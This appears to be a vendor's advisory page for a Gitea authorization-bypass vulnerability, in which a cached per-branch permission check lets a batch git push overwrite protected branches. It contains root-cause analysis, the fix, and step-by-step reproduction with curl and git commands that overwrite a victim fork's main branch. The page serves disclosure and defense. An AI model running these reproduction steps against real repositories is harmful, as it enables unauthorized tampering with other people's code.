Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-649p-mmhf-85c7

HIGHFix: go-gitea/gitea#38151

GHSA-649p-mmhf-85c7 is a high-severity (CVSS 8.8) CWE-863 vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-649p-mmhf-85c7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write

Also known asCVE-2026-27775GO-2026-6043
Published
Jul 21, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 13, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-649p-mmhf-85c7.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk
0.07%0.40%0.73%1.07%0.6%0.6%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-649p-mmhf-85c7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Header

FieldValue
Vulnerability TitleCached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write
Severity RatingHigh
Bug CategoryAuthorization Bypass
Locationrouters/private/hook_pre_receive.go:55-64, CanWriteCode()
Affected Versions1.25.5

Executive Summary

The pre-receive hook in Gitea evaluates the CanMaintainerWriteToBranch permission only once per git push session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with "Allow edits from maintainers" enabled) can batch-push that branch together with any other ref. The cached true from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including main), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.

Root Cause Analysis

Technical Description

When processing a multi-ref git push, the HookPreReceive handler at hook_pre_receive.go:107 iterates over all incoming refs. For each branch ref, preReceiveBranch (:140) updates ctx.branchName to the current branch (:142) and then calls AssertCanWriteCode() (:144).

CanWriteCode() (:55-64) checks whether the user can write to the repository. On the first call, it evaluates issues_model.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user) and stores the result in a boolean flag (canWriteCode) with a guard (checkedCanWriteCode). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different ctx.branchName.

This means the permission check is branch-specific in its inputs but session-scoped in its caching — a classic check-vs-use divergence.

A second contributing factor is the AGit-flow relaxation at routers/web/repo/githttp.go:190-192 (and routers/private/serv.go:337-338), which downgrades the outer receive-pack access gate from Write to Read when git.DefaultFeatures().SupportProcReceive is true (git ≥ 2.29). This allows a user with only Read access on a repository to initiate a receive-pack session, deferring all authorization to the pre-receive hook — which contains the caching bug described above.

First Faulty Condition

Filerouters/private/hook_pre_receive.go
Line55-64
ConditionCanWriteCode() evaluates the branch-specific CanMaintainerWriteToBranch check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target.

Trace Analysis

The following is the path from the attacker's git push to the authorization fault:

  1. POST /{owner}/{repo}.git/git-receive-packrouters/web/repo/githttp.go:437 (ServiceReceivePack) → httpBase() (:60)

    • Access gate is downgraded from Write to Read at :190-192 due to AGit-flow support.
  2. git receive-pack invokes the pre-receive hook → cmd/hook.go:184 (runHookPreReceive) → modules/private/hook.go:96 (HookPreReceive) → internal API → routers/private/hook_pre_receive.go:107 (HookPreReceive)

  3. Loop at :117 iterates over all refs in the batch. For each branch ref, preReceiveBranch (:140) sets ctx.branchName at :142.

  4. Fault: AssertCanWriteCode() (:144) → CanWriteCode() (:55-64).

    • First ref (feature-branch): checkedCanWriteCode is false → evaluates CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user) → returns true (legitimate grant) → caches result.
    • Second ref (main): checkedCanWriteCode is already true → returns cached true without re-evaluating against "main".
  5. Hook returns 200 → git receive-pack accepts all refs → main is overwritten in the victim's repository.

Exploitability Assessment

Attack Vector & Reachability

Attack vectorNetwork
Authentication requiredLow
User interaction requiredRequired. Victim must enable "Allow edits from maintainers" on their PR
Reachable in default configYes
Entry pointgit push over smart-HTTP or SSH with multiple refs in a single operation

The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.

Reproduction Steps

Environment The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.

Prerequisites:

  • a Gitea instance with two users, attacker and victim.
# 1. Attacker creates a repository (e.g., a popular open-source project)
curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \
  -H "Content-Type: application/json" \
  -d '{"name": "project", "auto_init": true}'

# 2. Victim forks attacker's repository (standard contributor workflow)
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \
  -H "Content-Type: application/json" \
  -d '{}'

# 3. Victim creates a feature branch on their fork and commits a change
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "feature-branch", "old_branch_name": "main"}'

curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \
  -H "Content-Type: application/json" \
  -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}'

# 4. Victim opens a PR from their feature branch into attacker/project
#    with "Allow edits from maintainers" enabled
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \
  -H "Content-Type: application/json" \
  -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allow_maintainer_edit": true}'

At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.

Attack

The attacker works from their own repo (attacker/project)

# 5. Attacker clones their own repo
git clone http://attacker:pw@<gitea>/attacker/project.git && cd project

# 6. Attacker fetches the victim's PR branch
git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
git checkout victim-feature-branch

# 7. Attacker adds a commit to the PR branch
echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"

# 8. Attacker also prepares a malicious commit on main
git checkout main
echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"

# 9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit
git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main

# 10. The change on both refs is visible regardless of PR status

Expected result: main should be rejected ("User permission denied for writing").

Actual result: Both refs are accepted. victim/project:main now contains the attacker's malicious commit.

# Verify: victim checks their fork's main branch
curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
# Returns attacker's "MALICIOUS CONTENT" — main has been overwritten

The same technique also works for pushing arbitrary tags (refs/tags/*) and creating new branches.

Recommended Fix

Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hook_pre_receive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.

See diff.patch for the proposed fix.

Patch provenance: AI-generated, human-reviewed.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.26.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-649p-mmhf-85c7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-649p-mmhf-85c7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-649p-mmhf-85c7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Vulnerability Header | Field | Value | | ------------------- | ----------------------------------------------------------------------------------- | | Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write | | Severity Rating | High | | Bug Category | Authorization Bypass | | Location | `
O3 Security · Impact-Aware SCA

Is GHSA-649p-mmhf-85c7 in your dependencies?

O3 detects GHSA-649p-mmhf-85c7 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.